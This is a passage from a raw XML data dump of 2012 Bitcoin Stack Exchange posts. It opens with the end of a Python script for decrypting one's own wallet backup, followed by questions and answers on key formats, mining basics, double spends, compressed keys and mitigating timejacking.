&quot;%c&quot;%(value%256) + ret; value /= 256&#xA;  return ret&#xA;&#xA;def base58_encode(v):&#xA;    value = 0; ret = ''&#xA;    for c in v: value = value*256 + ord(c)&#xA;    while value &amp;gt; 0:&#xA;        ret = base58_chars[value%58] + ret; value /= 58&#xA;    return ret&#xA;&#xA;def to_sipa(s):&#xA;    version = 128 # or 239 for testnet&#xA;    key = chr(version) + base58_decode(s)&#xA;    return base58_encode(key + SHA256.new(SHA256.new(key).digest()).digest()[:4])&#xA;&#xA;clear = decrypt(prompt(&quot;encrypted wallet&quot;), prompt(&quot;password&quot;))&#xA;obj = json.loads(clear)&#xA;&#xA;if (obj.has_key('double_encryption')):&#xA;    print(&quot;wallet uses double encryption&quot;)&#xA;    password = obj['sharedKey'].encode('ascii') + prompt(&quot;2nd password&quot;)&#xA;    for key in obj['keys']: key['priv'] = decrypt(key['priv'], password)&#xA;for key in obj['keys']: key['priv_sipa'] = to_sipa(key['priv'])&#xA;print(json.dumps(obj, indent=4, sort_keys = True))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will prompt for the wallet backup and one or two passwords, depending on whether the wallet is single or double encrypted.  Paste the wallet backup in rather than saving it to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need Python 2.x.  I've been unable to find a package of the pycrypto stuff for Python 3.  Apparently it will be available in the upcoming &lt;a href=&quot;http://packages.ubuntu.com/precise/python3-crypto&quot;&gt;'precise' Ubuntu release&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: It seems the backup format has been changed and so this script doesn't work on recent backups.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="1349" LastEditDate="2012-05-20T18:00:53.150" LastActivityDate="2012-05-20T18:00:53.150" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="3038" PostTypeId="1" AcceptedAnswerId="3042" CreationDate="2012-02-29T17:59:13.743" Score="4" ViewCount="478" Body="&lt;p&gt;There may exist a potential Bitcoin rival, &lt;a href=&quot;http://faircash.org/&quot; rel=&quot;nofollow&quot;&gt;fairCash&lt;/a&gt;. The founder mentioned this briefly at the Mobile World Congress in a Q&amp;amp;A session with Google. There a little resources on the internet about fairCash and their homepage is written in an advertising tone and the technical information given is superficial:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;It comprises a comprehensive technology framework that combined eWallet hardware and algorithmic software elements to conduct pre-paid eCash transactions which mimic the behavior of Physical Cash in the closest possible way through teleportation of financial objects.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They post a thesis and and patent on their website. Google Scholar finds one &lt;a href=&quot;http://scholar.google.com/scholar?start=0&amp;amp;hl=de&amp;amp;as_sdt=0&amp;amp;cluster=1992867187176980453&quot; rel=&quot;nofollow&quot;&gt;&quot;scientific&quot; paper&lt;/a&gt; or &lt;a href=&quot;http://scholar.google.com/scholar?cluster=8396012914509085468&amp;amp;hl=de&amp;amp;as_sdt=0&amp;amp;sciodt=0&quot; rel=&quot;nofollow&quot;&gt;conference abstract&lt;/a&gt; of questionable quality. From these, we can learn, that fairCash tokens are electronic secrets (read some data), issued and cleared by a central authority. They can be circulated using special devices (eWallets) in a peer-to-peer fashion. However, protection against double spending and fraud is only guaranteed by the central authority (and trust into the tamper resistance of eWallet devices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone expand?&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="1878" LastEditDate="2013-04-16T01:33:39.637" LastActivityDate="2013-04-16T01:33:39.637" Title="What is fairCash?" Tags="|alternatives|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3039" PostTypeId="1" AcceptedAnswerId="3048" CreationDate="2012-03-01T00:08:52.730" Score="3" ViewCount="182" Body="&lt;p&gt;Soon after Bitcoins became valuable enough to be worth stealing, I started seeing news about viruses/malware that steal Bitcoin wallets. Presumably, wallet encryption has reduced the level of this, but is there any way of measuring it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that there is probably growth in the number of users, I guess you'd have to compare it with that figure to get a comparative figure over time for the chance of having a wallet stolen. Is that figure measurable?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-05-18T06:38:36.470" LastActivityDate="2012-05-18T06:38:36.470" Title="Is there any way to measure relative occurrences of wallet theft over time?" Tags="|security|wallet|theft|virus|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3040" PostTypeId="1" AcceptedAnswerId="3049" CreationDate="2012-03-01T02:50:23.760" Score="3" ViewCount="1758" Body="&lt;p&gt;Because each Bitcoin user can operate multiple Bitcoin clients and wallets, and not every user runs the client constantly, it seems very difficult to gather data about the Bitcoin community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's clear that many people in the community will want to remain anonymous (for good reason, if they hold a large amount of value in their wallet), and that collection of statistics in the Bitcoin client app would not be a popular option. Having read about malware that mines bitcoins, it's even possible that botnets may run a bitcoin client too. Even if such a collection technique was palatable, it couldn't be depended upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If statistics were gathered on a per-user basis rather than a per-client basis, a whole new data set could provide valuable information to the community, such as growth, feature popularity/desirability, usage preferences etc. &lt;strong&gt;Is there any mechanism with which a substantial quantity of real user data could be (or is being) collected reliably?&lt;/strong&gt; Facebook comes to mind as a possibility, but even Facebook is easy to create fake accounts in.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-03-02T03:09:46.363" Title="How to get statistics about Bitcoin users?" Tags="|user-base|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3041" PostTypeId="1" CreationDate="2012-03-01T03:08:46.977" Score="15" ViewCount="13816" Body="&lt;p&gt;I went onto &lt;a href=&quot;https://www.bitaddress.org&quot;&gt;https://www.bitaddress.org&lt;/a&gt; and the last tab there is a place to enter a private key and it shows the various formats of public and private keys.&lt;br&gt;&#xA;It is strange to me that the public key can either be 33 Base58 or 130 Base16.  It doesn't seem right, especially since the private key is 51 Base58 or 64 Base16 which makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what gives?   Here is a printscreen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Address (33 or 34 characters, starts with a '1'):&#xA;1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public Key (130 characters [0-9A-F]):&#xA;0479BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F8179&#xA;8483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private Key Hexadecimal Format (64 characters [0-9A-F]):&#xA;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2015-02-26T17:07:07.360" Title="What is a 130 hex character public key?" Tags="|encoding|private-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3042" PostTypeId="2" ParentId="3038" CreationDate="2012-03-01T05:42:40.907" Score="5" Body="&lt;p&gt;I don't know anything about this in particular, but there is nothing new about centralized cryptocurrency. Satoshi in his paper references the state of the art at the time, which is digital signature based tokens which have to be verified by a mint for authenticity. They can use &lt;a href=&quot;http://en.wikipedia.org/wiki/Blind_signature&quot; rel=&quot;noreferrer&quot;&gt;Chaumian blinding&lt;/a&gt; for anonymity, as in &lt;a href=&quot;http://en.wikipedia.org/wiki/DigiCash&quot; rel=&quot;noreferrer&quot;&gt;Digicash&lt;/a&gt; - OpenTransactions also implements this.&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin is of course completely different in that it's decentralized. Ben Laurie has &lt;a href=&quot;http://www.links.org/?p=1164&quot; rel=&quot;noreferrer&quot;&gt;somewhat infamously demonstrated&lt;/a&gt; his failure to grasp the concept of decentralization:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A friend alerted to me to a sudden wave of excitement about Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;I have to ask: why? What has changed in the last 10 years to make this work when it didn’t in, say, 1999, when many other related systems (including one of my own) were causing similar excitement? Or in the 20 years since the wave before that, in 1990?&lt;/p&gt;&#xA;&lt;p&gt;As far as I can see, nothing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So fairCash isn't any more a rival to Bitcoin than other similar companies that have failed in the past, and is likely to join the list Laurie is talking about.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-03-01T05:42:40.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3043" PostTypeId="2" ParentId="3041" CreationDate="2012-03-01T06:11:59.320" Score="9" Body="&lt;p&gt;Your &lt;a href=&quot;https://en.bitcoin.it/wiki/ECDSA&quot;&gt;public key is 65 bytes of data&lt;/a&gt;: A leading 0x04 byte followed by 32 bytes for the X coordinate and 32 bytes for the Y coordinate of the point it represents.  It takes 130 hex characters at 4 bits per character to display the full key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your bitcoin address is a hash of your public key.  It's a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses#How_to_create_Bitcoin_Address&quot;&gt;little more complex than that&lt;/a&gt;, involving &lt;a href=&quot;https://en.bitcoin.it/w/images/en/9/9b/PubKeyToAddr.png&quot;&gt;multiple hashes and a built-in checksum&lt;/a&gt;, but that's basically true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible to get from your bitcoin address to your public key.  There are many public keys which have the same bitcoin address.  The corresponding private key is able to spend the funds on that address if the funds were sent using the official client.  It's incredibly hard to find a keypair with the same bitcoin address as an existing address.  The check for spendability for funds sent to a bitcoin address is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spender of a transaction's output:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;must supply a public key which hashes to the address specified by the creator of that transaction, and&lt;/li&gt;&#xA;&lt;li&gt;must be abe to demonstrate that he holds the corresponding private key by signing his new transaction with it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At no point is there a check that the spender has the same public key as the intended recipient.  Indeed, the creator of a transaction doesn't know the public key of the intended recipient, only his bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-02T23:03:33.103" LastActivityDate="2012-03-02T23:03:33.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3044" PostTypeId="1" AcceptedAnswerId="3047" CreationDate="2012-03-01T09:30:40.420" Score="13" ViewCount="42491" Body="&lt;p&gt;I'm trying to figure out how does simple Bitcoin mining algorithm works in plain simple c or c#  or some pseudo language. I've found an example at &lt;a href=&quot;http://pastebin.com/EXDsRbYH&quot;&gt;http://pastebin.com/EXDsRbYH&lt;/a&gt;, but unfortunately It isn't clear what it does. I was unable to run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have only one input: a Bitcoin wallet &quot;abc...&quot; which I would like to be used for the Bitcoins to be mined. I need simple to understand algorithm that will do the bitcoin mining on one machine with one thread on one cpu [I know it will take ages to complete :)]&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2019-01-17T13:47:02.290" Title="Simple bitcoin mining algorithm" Tags="|algorithms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3045" PostTypeId="2" ParentId="3044" CreationDate="2012-03-01T10:53:25.593" Score="2" Body="&lt;p&gt;Read the answers to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;this question&lt;/a&gt; and if you have any specific questions about the mining algorithm perhaps you can edit your question to ask them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is run a mining program, there are lots available.  You can study the source and see what they're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official bitcoin client itself has a basic CPU miner built in.  You can &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/142e604184e3ab6dcbe02cebcbe08e5623182b81/src/main.cpp#L3352&quot; rel=&quot;nofollow noreferrer&quot;&gt;examine the code&lt;/a&gt; to get an idea of how mining works.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-03-01T10:53:25.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3046" PostTypeId="2" ParentId="3040" CreationDate="2012-03-01T18:43:15.780" Score="2" Body="&lt;p&gt;The closest thing I'm aware of is &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;RowIT's Bitcoin Stats Page&lt;/a&gt; which counts listening hosts, unique IPs and several other statistics which come closer to, but still does not directly equal, a count of users. It is, at least, less likely for one user to run a client from two IP addresses than to simply run two clients from the same address, so unique IP statistics might be somewhat more useful to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, Bitcoin was explicitly created with privacy in mind, so as much data mining as we are capable of, there are certain statistics you're simply unlikely to ever lay hands on.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-03-01T18:43:15.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3047" PostTypeId="2" ParentId="3044" CreationDate="2012-03-01T20:46:38.343" Score="20" Body="&lt;p&gt;The simplest miner would work like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Request a new &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot;&gt;Getwork&lt;/a&gt; from a given pool/bitcoind with specified credentials&lt;/li&gt;&#xA;&lt;li&gt;For nonce=0;nonce&amp;lt;0xFFFFFFFF;nonce++&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set Getwork Data nonce&lt;/li&gt;&#xA;&lt;li&gt;SHA-256 hash the Getwork Data (&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers&quot;&gt;block header&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Check if hash result is smaller than Getwork Target, if so, submit a share&lt;/li&gt;&#xA;&lt;li&gt;If more than 1 second passed since you received Getwork, stop the loop&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;GOTO: 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, if you want something that could rise up to par with currently used miners, you need to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/OpenCL&quot;&gt;OpenCL&lt;/a&gt; calculations, without this you will never get the high hashrates of graphic cards.&lt;/li&gt;&#xA;&lt;li&gt;Midstate, or in other words hashing optimization. First half of Getwork Data doesn't change, so no point in calculating midstate for each hash.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#longpoll&quot;&gt;Longpolling&lt;/a&gt;, makes you calculate less stale blocks.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#rollntime&quot;&gt;Rollntime&lt;/a&gt;, minimizes communication with the pool.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-01T20:46:38.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3048" PostTypeId="2" ParentId="3039" CreationDate="2012-03-01T20:57:23.387" Score="2" Body="&lt;p&gt;The only way you can measure something like that, is if users would first of all know if their wallets get stolen, and second of all, if they reported that problem. Besides that there is no real way to know if a wallet actually got stolen, nor are there any means of verifying that it did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if one was to steal a wallet from some big Bitcoin website (say, a pool, an exchange, or an eWallet), one probably could notice a change of pattern of transactions, and we might hear some official statements from website owners about the theft. In this case though, it would probably be more of &quot;quality over quantity&quot; theft, as in we wouldn't see many cases like this appear.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-01T20:57:23.387" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3049" PostTypeId="2" ParentId="3040" CreationDate="2012-03-02T03:09:46.363" Score="2" Body="&lt;p&gt;The number of downloads metrics provided from the sites where the clients are downloaded is probably about as close as you are going to finding something that will help you in measuring the number of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then maybe some of the hosted services, such as My Wallet - &lt;a href=&quot;http://BlockChain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://BlockChain.info/wallet&lt;/a&gt; would volunteer totals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downloads numbers won't help come up with estimates that are anywhere near accurate but the exercise might help show trends (e.g., twice as much downloads month over month might give the ability to estimate a 25% increase in users, for instance.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-02T03:09:46.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3050" PostTypeId="2" ParentId="1201" CreationDate="2012-03-02T06:18:57.707" Score="2" Body="&lt;p&gt;David is right that Bitcoin in itself does not prevent the practice of fractional reserve banking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the difference with Bitcoin is that unlike gold, you now have a digital, easily transferable, easily storable, easily secured currency. Banks would need to fight much harder for deposits now because there is alot less reason to trust a bank with your bitcoins when you can just store it in a encrypted wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core difference is that even if everyone in the world decides to trust their bitcoins with banks, the base money supply will not be inflated via a central bank in the event of a bank going bankrupt. This will inevitably cause banks to increase their reserves and reduce risk to appease depositers of the safety of their funds, possibly only accepting fixed-deposits. The end result is that the interest gap between savings and borrowing rates will have to shrink due to a competition for deposits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And given bitcoin's properties, i can assure you that most people would demand payments in bitcoins instead of a banks IOU for large amounts.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2012-03-02T06:18:57.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3051" PostTypeId="1" CreationDate="2012-03-02T08:38:33.320" Score="8" ViewCount="951" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tx-index/242749/36080ed09eeb0fd66ad5dc8a909a49e364f55ff860c12327c2ff9fbe4a9dde77&quot;&gt;http://blockchain.info/tx-index/242749/36080ed09eeb0fd66ad5dc8a909a49e364f55ff860c12327c2ff9fbe4a9dde77&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning! this transaction is a double spend. You should be extremely&#xA;  careful when trusting any transactions to/from this sender.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastActivityDate="2015-02-28T18:12:44.910" Title="How does blockchain.info detect double spends?" Tags="|doublespend|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3052" PostTypeId="2" ParentId="3051" CreationDate="2012-03-02T08:46:37.277" Score="5" Body="&lt;p&gt;All valid transactions are relayed through the network. A client does not know which transactions will be a part of a block, so it stores and relays both double-spent transactions. If you regularly poll your bitcoind, you can see every transaction before it is put in a block. Then it is just a matter of checking txin data for duplicate inputs.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-02T08:46:37.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3053" PostTypeId="2" ParentId="1732" CreationDate="2012-03-02T10:40:54.837" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://vircurex.com&quot; rel=&quot;nofollow&quot; title=&quot;Vircurex&quot;&gt;Vircurex.com&lt;/a&gt;&#xA;now offers traiding support for many of the crypto currencies: BTC, NMC, LTC, LQC, I0C, IXC, DVC, GG and SC. You can trade between any pair of these at will. USD and EUR are also supported to buy or sell all these crypto-currencies.&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2012-03-02T10:40:54.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3054" PostTypeId="1" AcceptedAnswerId="3089" CreationDate="2012-03-02T11:25:00.143" Score="7" ViewCount="4765" Body="&lt;p&gt;I would like to have a &lt;a href=&quot;http://www.open-org.com/profit-sharing&quot;&gt;Profit Points&lt;/a&gt; &amp;lt;-&gt; Bitcoins exchange. The exchange could either be developed and run by contributors of Open-org.com or be created by an existing Bitcoin exchange. I have, however, already contacted &lt;a href=&quot;http://www.worldbitcoinexchange.com&quot;&gt;World Bitcoin Exchange&lt;/a&gt;, to ask if they are interested in creating such an exchange without getting an answer. To develop the exchange ourselves seems like quite a task, due to the need for security even if we would base it upon the &lt;a href=&quot;https://github.com/dooglus/intersango/commits/aud&quot;&gt;open source&lt;/a&gt; of the World Bitcoin Exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I am so interested in creating a Bitcoin exchange is that the spirit of Bitcoins really match the spirit of &lt;a href=&quot;http://Open-org.com&quot;&gt;Open-org.com&lt;/a&gt;. We both want to take on conservative systems and innovate to create something better. In the case of Open-org.com the main aim would be to create an alternative to the large established and utterly closed corporations, who feel like they own their employees.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2020-07-18T13:16:24.903" Title="How can I get a new Bitcoin exchange up and running?" Tags="|exchanges|currencies|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3055" PostTypeId="2" ParentId="1201" CreationDate="2012-03-02T15:59:07.173" Score="0" Body="&lt;p&gt;It cannot. Fractional reserve banking is an experiment. The premise of using a hyper-inflationary currency  is tested to show if it can promote a healthy economy. Bitcoin is an experiment to see if a secure hyper-fluid deflationary currency can promote new forms of economies. They may exist together for a very long time, but the most successful experiment will eventually win out. I suspect multiple deflationary currencies will supersede the model of a single inflationary currency.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-03-02T15:59:07.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3056" PostTypeId="2" ParentId="3054" CreationDate="2012-03-02T18:28:18.500" Score="1" Body="&lt;p&gt;The easiest way to get a Bitcoin exchange up and running is to start with an open-source exchange project like &lt;a href=&quot;https://gitorious.org/intersango/intersango&quot; rel=&quot;nofollow&quot;&gt;Intersango&lt;/a&gt; and modify as appropriate to your target currency (Profit Points in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As has been mentioned in the comments, however, &lt;a href=&quot;https://glbse.com/&quot; rel=&quot;nofollow&quot;&gt;GLBSE&lt;/a&gt; might actually be more appropriate to your intended use-case.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-03-02T18:28:18.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3057" PostTypeId="2" ParentId="3041" CreationDate="2012-03-03T01:14:18.447" Score="17" Body="&lt;p&gt;Bitcoin private keys are 32 bytes, but are often stored in their full OpenSSL-serialized form of 279 bytes. They are serialized as 51 base58 characters, or 64 hex characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin public keys (traditionally) are 65 bytes (the first of which is 0x04). They are typically encoded as 130 hex characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin compressed public keys (as of 0.6.0) are 33 bytes (the first of which is 0x02 or 0x03). They are typically encoded as 66 hex characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin addresses are RIPEMD160(SHA256(pubkey)), 20 bytes. They are typically encoded as 34 base58 characters.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-03-03T01:14:18.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3058" PostTypeId="2" ParentId="2119" CreationDate="2012-03-03T05:47:52.417" Score="4" Body="&lt;p&gt;The problem with tainted lists is that it requires a trusted body to declare which coins are tainted.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="659" LastEditDate="2012-03-07T04:20:56.997" LastActivityDate="2012-03-07T04:20:56.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3059" PostTypeId="1" CreationDate="2012-03-03T08:25:39.543" Score="73" ViewCount="36964" Body="&lt;p&gt;The standard Bitcoin client in version 0.6 apparently introduces compressed keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are they? Are there any drawbacks to using them? Any incompatibilities with older software? Reductions in cryptographic strength?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2017-12-19T04:08:03.247" Title="What is a compressed Bitcoin key?" Tags="|address|cryptography|private-key|public-key|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3060" PostTypeId="1" CreationDate="2012-03-03T09:13:31.307" Score="2" ViewCount="1062" Body="&lt;p&gt;I'm running OSX 10.7 and the newest version of Bitcoin-Qt. I put Bitcoin-Qt on my desktop, and found an old wallet.dat that was saved on a USB. I 'opened with' Bitcoin-qt, saw my balance, and tried a transaction before the most recent block was downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, after the entire blockchain has been downloaded, I see that my transaction is 0/unconfirmed. It's been a couple of days now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an attempt to get to the bottom of this, I read that it's best to find the bitoin folder in Application Data/Bitcoin, however there is no Bitcoin folder in application data. I've tried deleting the bitcoin client and downloading a new one, but the freshly downloaded bitcoin client is still using the wallet.dat from the USB stick. (the USB is not connected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I find the bitcoin folder on Lion, so I can start over. I know not to delete the wallet.dat file when I do find it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, I've enabled my mac to see all hidden folders, just in case. &lt;/p&gt;&#xA;" OwnerUserId="1127" LastActivityDate="2012-08-04T21:44:43.277" Title="0/unconfirmed and cannot find my bitcoin folder (Mac)" Tags="|wallet|mac|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3061" PostTypeId="2" ParentId="3060" CreationDate="2012-03-03T09:28:04.610" Score="1" Body="&lt;p&gt;The standard command-line client keeps it in &lt;code&gt;~/Library/Application Support/Bitcoin&lt;/code&gt;, at least on 10.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about bitcoin-qt, but some very broken applications keep the data inside the .app itself (right click, &quot;show package contents&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another typical unix configuration spot is &lt;code&gt;~/.program_name&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-03-03T09:28:04.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3062" PostTypeId="2" ParentId="3059" CreationDate="2012-03-03T10:36:45.947" Score="67" Body="&lt;p&gt;A compressed key is just a way of storing a public key in fewer bytes (33 instead of 65). There are no compatibility or security issues because they are precisely the same keys, just stored in a different way. The original Bitcoin software didn't use compressed keys only because their use was poorly documented in OpenSSL. They have no disadvantages other than that a little bit of additional computation is needed before they can be used to validate a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think of a public key as a point somewhere along a giant letter U, an uncompressed key is the &lt;em&gt;x&lt;/em&gt; and &lt;em&gt;y&lt;/em&gt; coordinates of the point. A compressed key is how high up on the U the point is along with a single bit indicating whether it's on the left or right side. As you can visualize, they both encode precisely the same thing, but the compressed form requires half as much space plus one bit. (Of course, they're really points on elliptic curve &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot;&gt;secp256k1&lt;/a&gt;, but the concept is the same.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-11-03T18:59:43.523" LastActivityDate="2015-11-03T18:59:43.523" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3064" PostTypeId="1" CreationDate="2012-03-04T01:46:24.097" Score="2" ViewCount="311" Body="&lt;p&gt;I've read about the proposed Timejacking attack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://culubas.blogspot.com/2011/05/timejacking-bitcoin_802.html&quot; rel=&quot;nofollow&quot;&gt;http://culubas.blogspot.com/2011/05/timejacking-bitcoin_802.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of solutions proposed, but it seems like there might be a simpler solution to make the selection of peers more random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the attack relies on an attacker being able to connect to a specific target node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't either of the following two solutions work?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Differentiate between input and output peers. Allow anyone to connect to you to receive information from you but only take information from peers that you connect to. This would make it very difficult for an attacker to have a large number of connections to a specific node because the node is randomly choosing which nodes to receive data from.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Continuously change connected nodes. i.e. every minute or so, disconnect from one connected node and find a new one to connect to. This would create a constant rotation of nodes that would make it much harder for an attacker to keep his/her connections to your node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="2306" LastEditDate="2014-09-12T00:53:30.023" LastActivityDate="2014-09-12T00:53:30.023" Title="How could the protocol or client be altered to mitigate a timejacking attack?" Tags="|security|" 